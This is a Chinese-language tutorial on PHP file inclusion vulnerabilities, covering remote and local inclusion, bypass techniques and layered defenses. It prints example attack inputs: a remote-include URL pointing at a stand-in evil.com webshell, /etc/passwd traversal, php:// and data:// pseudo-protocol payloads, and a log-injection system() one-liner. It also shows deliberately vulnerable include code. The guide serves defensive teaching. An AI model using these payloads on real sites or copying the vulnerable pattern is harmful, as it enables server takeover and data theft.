本文目录导读:

- 引言:为什么“文件包含”会成为Web安全的噩梦?
- 核心机制:PHP文件包含函数的工作逻辑
- 远程文件包含(RFI)攻击原理与触发条件
- 本地文件包含(LFI)与远程包含的博弈关系
- 实战攻防:如何通过URL参数“打开远程”恶意服务器?
- 绕过技巧与高级利用(伪协议、日志注入)
- 企业级防御体系构建
- 常见问题问答(FAQ)
** PHP文件包含漏洞深度剖析:从远程文件包含(RFI)到防御实战指南
目录导读
- 引言:为什么“文件包含”会成为Web安全的噩梦?
- 核心机制:PHP文件包含函数(include / require)的工作逻辑
- 远程文件包含(RFI)攻击原理与触发条件
- 本地文件包含(LFI)与远程包含的博弈关系
- 实战攻防:如何通过URL参数“打开远程”恶意服务器?
- 绕过技巧与高级利用(伪协议、日志注入)
- 企业级防御体系构建(代码层、配置层、架构层)
- 常见问题问答(FAQ)
引言:为什么“文件包含”会成为Web安全的噩梦?
在PHP开发中,include 和 require 函数是代码复用的基石,当开发者为了灵活性,将用户输入(如 $_GET['page'])直接拼接到文件路径中时,便开启了潘多拉魔盒,根据OWASP Top 10,注入类漏洞始终位居前列,而文件包含漏洞因其可导致远程代码执行(RCE)、敏感信息泄露,常被评级为“Critical”。
搜索引擎中,PHP文件包含打开远程”的搜索量居高不下,说明大量开发者正面临此问题的困扰,本文旨在综合权威文档(如PHP官方手册、OWASP指南)与真实攻击案例,提供一份从原理到防御的精髓指南。
核心机制:PHP文件包含函数的工作逻辑
PHP有四个用于包含文件的关键字:include、include_once、require、require_once,它们的作用是将指定文件的内容插入到当前脚本中并执行。
- 关键特性:被包含的文件会按照PHP语法解析,如果文件内容不是PHP代码,则原样输出(可导致XSS)。
- 路径解析:PHP会根据
include_path配置及当前工作目录查找文件,当传入绝对路径或相对路径(含 )时,可控制读取范围。
最危险的操作:include $_GET['file']; 或 require "pages/" . $_GET['p'] . ".php"; 这种直接信任用户输入的写法,是漏洞的温床。
远程文件包含(RFI)攻击原理与触发条件
RFI 是指攻击者通过URL参数指定一个远程服务器上的恶意文件,PHP则会下载并执行该文件。
触发必要前提(缺一不可):
allow_url_include=On(PHP 5.2 之后默认关闭,需显式开启)。allow_url_fopen=On(通常默认开启,用于读取远程资源)。- 用户输入未被过滤,直接进入包含函数。
攻击示例:
// 受害者代码 site.com/index.php?page=home <?php include($_GET['page'] . '.php'); ?>
攻击者构造:site.com/index.php?page=http://evil.com/shell.txt
PHP则会尝试包含 http://evil.com/shell.txt.php(注意:若拼接了后缀,需利用 或 截断,如 http://evil.com/shell.txt? 因为 后的内容不会被当作路径)。
一旦成功,攻击者即可获得WebShell,完全控制服务器。
本地文件包含(LFI)与远程包含的博弈关系
当 allow_url_include 被关闭时,攻击者只能使用LFI(包含本地文件)。
- LFI危害:读取
/etc/passwd、服务器源码、数据库配置文件。 - LFI转RCE:通过 PHP伪协议 或 日志注入 将恶意代码写入本地文件,再包含执行。
重点伪协议:
php://filter/convert.base64-encode/resource=index.php:读取源码(不执行)。data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+:需allow_url_include=On,可将数据流作为代码执行。php://input:POST请求体作为代码执行(需开启allow_url_include)。
实战攻防:如何通过URL参数“打开远程”恶意服务器?
攻击流程(红队视角):
- 侦查:尝试
?file=../../../../etc/passwd判断是否存在LFI。 - 验证RFI:尝试
?file=http://your-server.com/test.txt为<?php phpinfo(); ?>)。- 若页面回显
phpinfo()输出,则RFI成功,直接写入一句话木马。
- 若页面回显
- 升级为RCE:利用
data://或php://input发送恶意代码,绕过后缀限制。
防守视角(关键词:打开远程): 如果你是开发者,永远不要允许用户指定远程URL,即使服务端默认配置安全,也要在代码层做白名单校验。
绕过技巧与高级利用(伪协议、日志注入)
- 后缀截断:
%00截断(PHP < 5.3.4 可用)或 截断(依赖URI解析)。 - 日志注入(LFI转RCE):
- 攻击者访问
site.com/?file=<?php system($_GET['cmd']); ?>(若参数被写入User-Agent或Referer日志)。 - 包含日志文件:
?file=../../logs/apache/access.log。 - 日志中包含恶意PHP代码,被解析执行。
- 攻击者访问
- Session文件包含:通过控制
session_id或session.upload_progress写入恶意内容,再包含/tmp/sess_xxxx。
企业级防御体系构建
绝对防御策略(三重门):
| 层级 | 具体措施 | 对应威胁 |
|---|---|---|
| 代码层 | 使用 白名单映射:$page = $_GET['p']; if (in_array($page, ['home','about'])) { include($page.'.php'); } 2. 严禁使用用户可控变量拼接路径。 3. 对文件路径进行 realpath() 校验,确保目标文件在允许目录内。 |
RFI、LFI读取、路径穿越 |
| 配置层 | php.ini 设置:allow_url_include=Off(默认),allow_url_fopen=Off(如需开启,仅允许特定域名)。 2. open_basedir 限定PHP可访问的目录。 3. disable_functions 禁用 exec、system 等危险函数(防提权)。 |
RFI、伪协议利用 |
| 架构层 | Web服务器(Nginx/Apache)禁用对 /logs、/uploads 目录的PHP解析。 2. 使用WAF(Web应用防火墙)拦截包含 http://、data:// 等关键字请求。 3. 文件上传目录与Web根目录隔离,并设置只读权限。 |
日志注入、包含恶意文件 |
安全编码示例:
// 推荐写法:白名单 + 路径归一化
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed_pages, true)) {
exit('Bad request');
}
include __DIR__ . '/pages/' . $page . '.php';
常见问题问答(FAQ)
Q1:为什么我按照网上教程开启了 allow_url_include 后,网站被攻击了?
A:这是完全错误的配置,除非你有特殊需求(如必须从可信远程源拉取模板),否则该选项应保持关闭,远程文件包含是RCE的最便捷通道,没有任何安全收益能弥补此风险。
Q2:我已经关闭了 allow_url_include,是否就高枕无忧了?
A:并非如此,攻击者会转向LFI + 日志注入,或利用 php://input(若未禁用),只要存在文件包含函数,且输入可控,就必须做路径白名单校验。
Q3:如何快速检测现有代码是否存在此漏洞?
A:搜索代码中所有 include、require 关键字,检查是否直接使用了 $_GET、$_POST、$_COOKIE 等超全局变量,同时使用安全开发工具(如 RIPS、PHPStan)进行静态分析。
Q4:如果服务器已经被RFI攻击植入了木马,应急响应步骤是什么?
A:① 立即断网隔离;② 备份日志与内存数据;③ 查找并清除恶意文件(重点检查 /tmp、/uploads、/var/log);④ 审计所有源码,修复包含漏洞;⑤ 更换数据库密码、SSH密钥;⑥ 重建系统(必要时)。
Q5:使用CDN或云防火墙后,是否还需要修改代码? A:WAF仅能拦截已知攻击特征,无法防御逻辑漏洞(如白名单绕过)。代码层修复是根因,安全设备仅是辅助,务必坚持“纵深防御”原则。
文件包含漏洞的本质是信任边界被破坏,通过本文的剖析,希望您能彻底理解“远程打开”的风险,并在编码时将用户输入视为不可信数据,只有结合严格的代码规范、严谨的服务器配置与定期安全审计,才能构建坚不可摧的PHP应用。
(完)